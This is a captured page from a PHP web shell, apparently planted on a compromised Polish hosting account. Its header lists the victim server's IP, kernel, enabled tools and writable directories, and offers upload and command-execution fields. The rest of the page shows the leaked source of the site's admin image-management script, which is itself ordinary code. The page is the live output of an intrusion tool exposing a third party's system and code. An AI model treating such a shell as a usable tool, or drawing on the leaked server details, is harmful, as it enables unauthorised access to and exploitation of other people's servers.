403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/visuals.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
require_login();

$contexts = [
    'common' => 'Wspólna pula',
    'home' => 'Strona główna',
    'menu' => 'Menu',
    'splash' => 'Globalna zaślepka',
    'home_feature' => 'Sekcja „Aktualna karta”',
    'menu_splash' => 'Zaślepka tylko menu',
];

$settingKeys = [
    'visual_rotation_mode',
    'visual_motion_enabled',
    'visual_parallax_enabled',
    'visual_motion_speed',
    'visual_season_override',
    'visual_spring_start',
    'visual_summer_start',
    'visual_autumn_start',
    'visual_winter_start',
];

function visual_admin_dir(string $context): string
{
    return dirname(__DIR__) . '/assets/img/seasonal/' . $context;
}

function visual_admin_safe_filename(string $name): string
{
    $name = pathinfo($name, PATHINFO_FILENAME);
    $name = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $name) ?: $name;
    $name = strtolower($name);
    $name = preg_replace('/[^a-z0-9_-]+/', '-', $name) ?? 'plik';
    $name = trim($name, '-_');

    return $name !== '' ? $name : 'plik';
}

function visual_admin_allowed_mimes(): array
{
    return [
        'image/jpeg' => 'jpg',
        'image/png' => 'png',
        'image/webp' => 'webp',
        'image/avif' => 'avif',
        'image/gif' => 'gif',
        'video/mp4' => 'mp4',
        'video/webm' => 'webm',
    ];
}

function visual_admin_files(string $context): array
{
    $dir = visual_admin_dir($context);

    if (!is_dir($dir)) {
        return [];
    }

    $files = [];

    foreach (seasonal_visual_supported_extensions() as $ext) {
        foreach (glob($dir . '/*.' . $ext) ?: [] as $path) {
            if (is_file($path)) {
                $files[] = $path;
            }
        }
    }

    sort($files, SORT_NATURAL | SORT_FLAG_CASE);

    return $files;
}


function visual_static_assets(): array
{
    return [
        'logo' => [
            'label' => 'Logo główne',
            'path' => dirname(__DIR__) . '/assets/img/logo.png',
            'url' => asset_v('img/logo.png'),
            'accept' => ['image/png' => 'png', 'image/webp' => 'webp'],
            'note' => 'Logo używane w zwykłej stronie / nagłówku.',
        ],
        'logo_splash' => [
            'label' => 'Logo na zaślepce / hero',
            'path' => dirname(__DIR__) . '/assets/img/logo-splash.png',
            'url' => asset_v('img/logo-splash.png'),
            'accept' => ['image/png' => 'png', 'image/webp' => 'webp'],
            'note' => 'Logo używane na pełnoekranowej zaślepce i w dużych sekcjach.',
        ],
        'favicon' => [
            'label' => 'Favicon',
            'path' => dirname(__DIR__) . '/assets/img/favicon.png',
            'url' => asset_v('img/favicon.png'),
            'accept' => ['image/png' => 'png'],
            'note' => 'Mała ikona widoczna w karcie przeglądarki.',
        ],
        'pwa_192' => [
            'label' => 'Ikona aplikacji 192×192',
            'path' => dirname(__DIR__) . '/assets/img/pwa/icon-192.png',
            'url' => asset_v('img/pwa/icon-192.png'),
            'accept' => ['image/png' => 'png'],
            'note' => 'Ikona używana po instalacji strony jako aplikacji.',
        ],
        'pwa_512' => [
            'label' => 'Ikona aplikacji 512×512',
            'path' => dirname(__DIR__) . '/assets/img/pwa/icon-512.png',
            'url' => asset_v('img/pwa/icon-512.png'),
            'accept' => ['image/png' => 'png'],
            'note' => 'Duża ikona aplikacji PWA.',
        ],
    ];
}

function visual_backup_static_asset(string $path, string $key): void
{
    if (!is_file($path)) {
        return;
    }

    $backupDir = dirname(__DIR__) . '/storage/static-asset-backups';

    if (!is_dir($backupDir)) {
        @mkdir($backupDir, 0700, true);
    }

    if (!is_dir($backupDir)) {
        return;
    }

    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $backup = $backupDir . '/' . $key . '-' . date('Ymd-His') . '.' . $ext;
    @copy($path, $backup);
    @chmod($backup, 0600);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verify_csrf();

    $action = (string)($_POST['action'] ?? 'settings');

    try {
        if ($action === 'settings') {
            $seasonDates = seasonal_interactive_validate_start_dates([
                'spring' => (string)($_POST['visual_spring_start'] ?? ''),
                'summer' => (string)($_POST['visual_summer_start'] ?? ''),
                'autumn' => (string)($_POST['visual_autumn_start'] ?? ''),
                'winter' => (string)($_POST['visual_winter_start'] ?? ''),
            ]);

            $_POST['visual_spring_start'] = $seasonDates['spring'];
            $_POST['visual_summer_start'] = $seasonDates['summer'];
            $_POST['visual_autumn_start'] = $seasonDates['autumn'];
            $_POST['visual_winter_start'] = $seasonDates['winter'];

            $stmt = db()->prepare(
                'INSERT INTO settings (setting_key, setting_value)
                 VALUES (?, ?)
                 ON DUPLICATE KEY UPDATE setting_value = VALUES(setting_value)'
            );

            foreach ($settingKeys as $key) {
                $stmt->execute([$key, trim((string)($_POST[$key] ?? ''))]);
            }

            admin_log('visuals_update', 'Zmieniono rotację, animację i daty pór roku');
            flash('success', 'Ustawienia grafik zostały zapisane.');
            redirect('/admin/visuals.php');
        }

        if ($action === 'upload') {
            $context = (string)($_POST['context'] ?? '');

            if (!isset($contexts[$context])) {
                throw new RuntimeException('Nieprawidłowa sekcja grafik.');
            }

            $dir = visual_admin_dir($context);

            if (!is_dir($dir) && !mkdir($dir, 0755, true) && !is_dir($dir)) {
                throw new RuntimeException('Nie udało się utworzyć katalogu grafik.');
            }

            $uploads = $_FILES['visuals'] ?? null;

            if (!$uploads || !isset($uploads['name']) || !is_array($uploads['name'])) {
                throw new RuntimeException('Wybierz co najmniej jeden plik.');
            }

            $allowed = visual_admin_allowed_mimes();
            $finfo = new finfo(FILEINFO_MIME_TYPE);
            $saved = 0;

            foreach ($uploads['name'] as $i => $originalName) {
                $error = (int)($uploads['error'][$i] ?? UPLOAD_ERR_NO_FILE);

                if ($error === UPLOAD_ERR_NO_FILE) {
                    continue;
                }

                if ($error !== UPLOAD_ERR_OK) {
                    throw new RuntimeException('Błąd wysyłania pliku: ' . $originalName);
                }

                $tmp = (string)($uploads['tmp_name'][$i] ?? '');
                $size = (int)($uploads['size'][$i] ?? 0);

                if (!is_uploaded_file($tmp)) {
                    throw new RuntimeException('Nieprawidłowy upload: ' . $originalName);
                }

                if ($size > 80 * 1024 * 1024) {
                    throw new RuntimeException('Plik jest za duży: ' . $originalName . ' (maks. 80 MB).');
                }

                $mime = (string)$finfo->file($tmp);

                if (!isset($allowed[$mime])) {
                    throw new RuntimeException('Nieobsługiwany format: ' . $originalName . ' (' . $mime . ')');
                }

                $ext = $allowed[$mime];
                $base = visual_admin_safe_filename((string)$originalName);
                $filename = $base . '-' . date('Ymd-His') . '-' . bin2hex(random_bytes(3)) . '.' . $ext;
                $target = $dir . '/' . $filename;

                if (!move_uploaded_file($tmp, $target)) {
                    throw new RuntimeException('Nie udało się zapisać: ' . $originalName);
                }

                @chmod($target, 0644);
                $saved++;
            }

            if ($saved < 1) {
                throw new RuntimeException('Nie zapisano żadnego pliku.');
            }

            admin_log('visuals_upload', 'Dodano grafiki: ' . $saved . ' do ' . $context);
            flash('success', 'Dodano plików: ' . $saved . '.');
            redirect('/admin/visuals.php#biblioteka');
        }

        if ($action === 'replace_static') {
            $assetKey = (string)($_POST['asset_key'] ?? '');
            $assets = visual_static_assets();

            if (!isset($assets[$assetKey])) {
                throw new RuntimeException('Nieprawidłowy element strony.');
            }

            $upload = $_FILES['static_file'] ?? null;

            if (!$upload || (int)($upload['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
                throw new RuntimeException('Wybierz plik do podmiany.');
            }

            $tmp = (string)($upload['tmp_name'] ?? '');
            $size = (int)($upload['size'] ?? 0);

            if (!is_uploaded_file($tmp)) {
                throw new RuntimeException('Nieprawidłowy upload.');
            }

            if ($size > 10 * 1024 * 1024) {
                throw new RuntimeException('Plik jest za duży. Maksymalnie 10 MB.');
            }

            $finfo = new finfo(FILEINFO_MIME_TYPE);
            $mime = (string)$finfo->file($tmp);
            $asset = $assets[$assetKey];

            if (!isset($asset['accept'][$mime])) {
                throw new RuntimeException('Nieobsługiwany format dla tego elementu: ' . $mime);
            }

            $target = $asset['path'];
            $targetDir = dirname($target);

            if (!is_dir($targetDir) && !mkdir($targetDir, 0755, true) && !is_dir($targetDir)) {
                throw new RuntimeException('Nie udało się utworzyć katalogu docelowego.');
            }

            visual_backup_static_asset($target, $assetKey);

            // Zachowujemy nazwę pliku używaną przez stronę, niezależnie od nazwy uploadu.
            if (!move_uploaded_file($tmp, $target)) {
                throw new RuntimeException('Nie udało się podmienić pliku.');
            }

            @chmod($target, 0644);

            admin_log('visuals_static_replace', 'Podmieniono element: ' . $assetKey);
            flash('success', 'Element został podmieniony. Stara wersja została zarchiwizowana.');
            redirect('/admin/visuals.php#aktualne');
        }

        if ($action === 'delete') {
            $context = (string)($_POST['context'] ?? '');
            $filename = basename((string)($_POST['filename'] ?? ''));

            if (!isset($contexts[$context]) || $filename === '') {
                throw new RuntimeException('Nieprawidłowy plik.');
            }

            $path = visual_admin_dir($context) . '/' . $filename;
            $realDir = realpath(visual_admin_dir($context));
            $realFile = realpath($path);

            if (!$realDir || !$realFile || !str_starts_with($realFile, $realDir . DIRECTORY_SEPARATOR)) {
                throw new RuntimeException('Plik nie istnieje albo nie należy do biblioteki.');
            }

            if (!unlink($realFile)) {
                throw new RuntimeException('Nie udało się usunąć pliku.');
            }

            admin_log('visuals_delete', 'Usunięto grafikę: ' . $context . '/' . $filename);
            flash('success', 'Grafika została usunięta.');
            redirect('/admin/visuals.php#biblioteka');
        }
    } catch (Throwable $e) {
        flash('error', $e->getMessage());
        redirect('/admin/visuals.php');
    }
}

$mode = setting('visual_rotation_mode', 'pot');
$motionEnabled = setting('visual_motion_enabled', '1');
$parallaxEnabled = setting('visual_parallax_enabled', '1');
$motionSpeed = (int)setting('visual_motion_speed', '16');
$seasonOverride = setting('visual_season_override', 'auto');
$seasonDates = seasonal_interactive_start_dates();
$seasonRanges = seasonal_interactive_season_ranges($seasonDates);
$counts = seasonal_visual_counts();

render_admin_header('Grafiki sezonowe');
?>
<div class="admin-title-row">
    <div>
        <h1>Grafiki / ruchome tło</h1>
        <p>Tu wrzucasz zdjęcia i krótkie ruchome materiały. FTP nie jest już potrzebne.</p>
    </div>
</div>

<form class="form-card form-grid" method="post">
    <?= csrf_field() ?>
    <input type="hidden" name="action" value="settings">

    <div class="full admin-section-title">
        <h2>Jak mają się zmieniać</h2>
    </div>

    <label class="full">
        Tryb grafiki
        <select name="visual_rotation_mode">
            <option value="pot" <?= $mode === 'pot' ? 'selected' : '' ?>>Garnek / fallback</option>
            <option value="seasonal" <?= $mode === 'seasonal' ? 'selected' : '' ?>>Interaktywny sezon – 4 pory roku</option>
            <option value="random" <?= $mode === 'random' ? 'selected' : '' ?>>Losowo przy odświeżeniu</option>
            <option value="month" <?= $mode === 'month' ? 'selected' : '' ?>>Stały wybór na miesiąc</option>
            <option value="quarter" <?= $mode === 'quarter' ? 'selected' : '' ?>>Stały wybór na kwartał</option>
        </select>
    </label>

    <label>
        Podgląd pory roku
        <select name="visual_season_override">
            <option value="auto" <?= $seasonOverride === 'auto' ? 'selected' : '' ?>>Automatycznie wg daty</option>
            <option value="spring" <?= $seasonOverride === 'spring' ? 'selected' : '' ?>>Wiosna</option>
            <option value="summer" <?= $seasonOverride === 'summer' ? 'selected' : '' ?>>Lato</option>
            <option value="autumn" <?= $seasonOverride === 'autumn' ? 'selected' : '' ?>>Jesień</option>
            <option value="winter" <?= $seasonOverride === 'winter' ? 'selected' : '' ?>>Zima</option>
        </select>
    </label>

    <div class="full admin-section-title">
        <h2>Daty pór roku</h2>
        <p>
            Domyślnie wpisane są astronomiczne początki pór roku dla Krakowa w 2026. Możesz je później zmienić.
            Format: <strong>MM-DD</strong>, np. 03-01.
        </p>
    </div>

    <label>
        Start wiosny
        <input name="visual_spring_start" value="<?= e($seasonDates['spring']) ?>" placeholder="03-20" pattern="\d{2}-\d{2}">
        <small><?= e($seasonRanges['spring']) ?></small>
    </label>

    <label>
        Start lata
        <input name="visual_summer_start" value="<?= e($seasonDates['summer']) ?>" placeholder="06-21" pattern="\d{2}-\d{2}">
        <small><?= e($seasonRanges['summer']) ?></small>
    </label>

    <label>
        Start jesieni
        <input name="visual_autumn_start" value="<?= e($seasonDates['autumn']) ?>" placeholder="09-23" pattern="\d{2}-\d{2}">
        <small><?= e($seasonRanges['autumn']) ?></small>
    </label>

    <label>
        Start zimy
        <input name="visual_winter_start" value="<?= e($seasonDates['winter']) ?>" placeholder="12-21" pattern="\d{2}-\d{2}">
        <small><?= e($seasonRanges['winter']) ?></small>
    </label>

    <label>
        Ruch zdjęć
        <select name="visual_motion_enabled">
            <option value="1" <?= $motionEnabled === '1' ? 'selected' : '' ?>>Włączony</option>
            <option value="0" <?= $motionEnabled === '0' ? 'selected' : '' ?>>Wyłączony</option>
        </select>
    </label>

    <label>
        Parallax myszką
        <select name="visual_parallax_enabled">
            <option value="1" <?= $parallaxEnabled === '1' ? 'selected' : '' ?>>Włączony</option>
            <option value="0" <?= $parallaxEnabled === '0' ? 'selected' : '' ?>>Wyłączony</option>
        </select>
    </label>

    <label>
        Szybkość zdjęć
        <select name="visual_motion_speed">
            <option value="12" <?= $motionSpeed === 12 ? 'selected' : '' ?>>12 s – wyraźniej</option>
            <option value="16" <?= $motionSpeed === 16 ? 'selected' : '' ?>>16 s – domyślnie</option>
            <option value="20" <?= $motionSpeed === 20 ? 'selected' : '' ?>>20 s – spokojnie</option>
            <option value="26" <?= $motionSpeed === 26 ? 'selected' : '' ?>>26 s – bardzo subtelnie</option>
        </select>
    </label>

    <div class="full">
        <button class="btn btn-primary" type="submit">Zapisz ustawienia</button>
    </div>
</form>

<section class="form-card" id="aktualne">
    <div class="admin-section-title">
        <h2>Aktualne elementy strony</h2>
        <p>
            Tu są stałe elementy używane przez stronę. Logo i ikony możesz podmienić bez FTP.
        </p>
    </div>

    <div class="visual-static-grid">
        <?php foreach (visual_static_assets() as $assetKey => $asset): ?>
            <article class="visual-static-card">
                <div class="visual-static-preview">
                    <?php if (is_file($asset['path'])): ?>
                        <img src="<?= e($asset['url']) ?>" alt="<?= e($asset['label']) ?>">
                    <?php else: ?>
                        <div class="visual-static-missing">Brak pliku</div>
                    <?php endif; ?>
                </div>

                <div class="visual-static-copy">
                    <h3><?= e($asset['label']) ?></h3>
                    <p><?= e($asset['note']) ?></p>
                    <code><?= e(str_replace(dirname(__DIR__), '', $asset['path'])) ?></code>
                </div>

                <form method="post" enctype="multipart/form-data">
                    <?= csrf_field() ?>
                    <input type="hidden" name="action" value="replace_static">
                    <input type="hidden" name="asset_key" value="<?= e($assetKey) ?>">
                    <input type="file" name="static_file" accept="image/png,image/webp" required>
                    <button class="btn btn-small btn-light" type="submit">Podmień</button>
                </form>
            </article>
        <?php endforeach; ?>

        <article class="visual-static-card">
            <div class="visual-static-preview visual-pot-preview">
                <?php render_pot_visual('pot-visual-admin-preview'); ?>
            </div>

            <div class="visual-static-copy">
                <h3>Zimowy garnek</h3>
                <p>Aktualny interaktywny motyw zimowy strony.</p>
                <code>/includes/pot_visual.php</code>
            </div>
        </article>

        <article class="visual-static-card">
            <div class="visual-static-preview visual-menu-preview">
                <iframe src="/menu-karta.svg?v=211" title="Aktualna karta menu"></iframe>
            </div>

            <div class="visual-static-copy">
                <h3>Aktualna karta menu</h3>
                <p>
                    Karta również nie jest zwykłym obrazkiem. Jest generowana automatycznie
                    z danych menu w bazie.
                </p>
                <code>/menu-karta.svg</code>
            </div>

            <a class="btn btn-small btn-light" href="/admin/menus.php">Edytuj menu</a>
        </article>
    </div>
</section>

<section class="form-card" id="pory-roku">
    <div class="admin-section-title">
        <h2>Grafiki sezonowe</h2>
        <p>Te cztery motywy są już częścią strony i przełączają się automatycznie według ustawionych dat.</p>
    </div>

    <div class="season-four-grid">
        <?php foreach (['spring', 'summer', 'autumn', 'winter'] as $seasonKey): ?>
            <article class="season-four-card <?= seasonal_interactive_season() === $seasonKey ? 'is-current' : '' ?>">
                <div class="season-four-preview">
                    <?php render_seasonal_illustration('admin', 'season-four-visual', $seasonKey); ?>
                </div>
                <div class="season-four-meta">
                    <div>
                        <strong><?= e(seasonal_interactive_label($seasonKey)) ?></strong>
                        <?php if (seasonal_interactive_season() === $seasonKey): ?>
                            <span class="season-current-badge">Teraz na WWW</span>
                        <?php endif; ?>
                    </div>
                    <small>od <?= e(str_replace('-', '.', $seasonDates[$seasonKey])) ?></small>
                </div>
            </article>
        <?php endforeach; ?>
    </div>
</section>

<form class="form-card form-grid" method="post" enctype="multipart/form-data">
    <?= csrf_field() ?>
    <input type="hidden" name="action" value="upload">

    <div class="full admin-section-title">
        <h2>Dodaj zdjęcia / ruchome materiały</h2>
        <p>
            Możesz zaznaczyć wiele plików naraz. Obsługiwane:
            JPG, PNG, WEBP, AVIF, GIF oraz MP4/WEBM.
            GIF i WEBP mogą być animowane. MP4/WEBM odtwarzają się bez dźwięku w pętli.
        </p>
    </div>

    <label>
        Gdzie ma się pokazywać
        <select name="context" required>
            <?php foreach ($contexts as $key => $label): ?>
                <option value="<?= e($key) ?>"><?= e($label) ?></option>
            <?php endforeach; ?>
        </select>
    </label>

    <label class="full">
        Pliki
        <input
            type="file"
            name="visuals[]"
            accept=".jpg,.jpeg,.png,.webp,.avif,.gif,.mp4,.webm,image/*,video/mp4,video/webm"
            multiple
            required
        >
    </label>

    <div class="full">
        <button class="btn btn-green" type="submit">Wgraj do strony</button>
    </div>
</form>

<section class="form-card" id="biblioteka">
    <div class="admin-section-title">
        <h2>Dodatkowe zdjęcia i filmy</h2>
        <p>
            To opcjonalna biblioteka własnych materiałów. Cztery grafiki sezonowe są pokazane wyżej i nie liczą się tutaj jako pliki.
        </p>
    </div>

    <?php foreach ($contexts as $context => $label): ?>
        <?php $files = visual_admin_files($context); ?>

        <div class="visual-library-section">
            <div class="visual-library-head">
                <h3><?= e($label) ?></h3>
                <span><?= count($files) ?> plików</span>
            </div>

            <?php if (!$files): ?>
                <p class="muted">Brak dodatkowych materiałów — to jest OK.</p>
            <?php else: ?>
                <div class="visual-library-grid">
                    <?php foreach ($files as $path): ?>
                        <?php
                        $filename = basename($path);
                        $url = seasonal_visual_public_url($path);
                        $isVideo = seasonal_visual_is_video($path);
                        ?>
                        <article class="visual-library-card">
                            <div class="visual-library-preview">
                                <?php if ($isVideo): ?>
                                    <video src="<?= e($url) ?>" muted loop autoplay playsinline preload="metadata"></video>
                                <?php else: ?>
                                    <img src="<?= e($url) ?>" alt="" loading="lazy">
                                <?php endif; ?>
                            </div>

                            <div class="visual-library-meta">
                                <strong title="<?= e($filename) ?>"><?= e($filename) ?></strong>
                                <small><?= e(strtoupper(pathinfo($filename, PATHINFO_EXTENSION))) ?></small>
                            </div>

                            <form method="post" onsubmit="return confirm('Usunąć ten plik?');">
                                <?= csrf_field() ?>
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="context" value="<?= e($context) ?>">
                                <input type="hidden" name="filename" value="<?= e($filename) ?>">
                                <button class="btn btn-small btn-danger" type="submit">Usuń</button>
                            </form>
                        </article>
                    <?php endforeach; ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>
</section>


<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit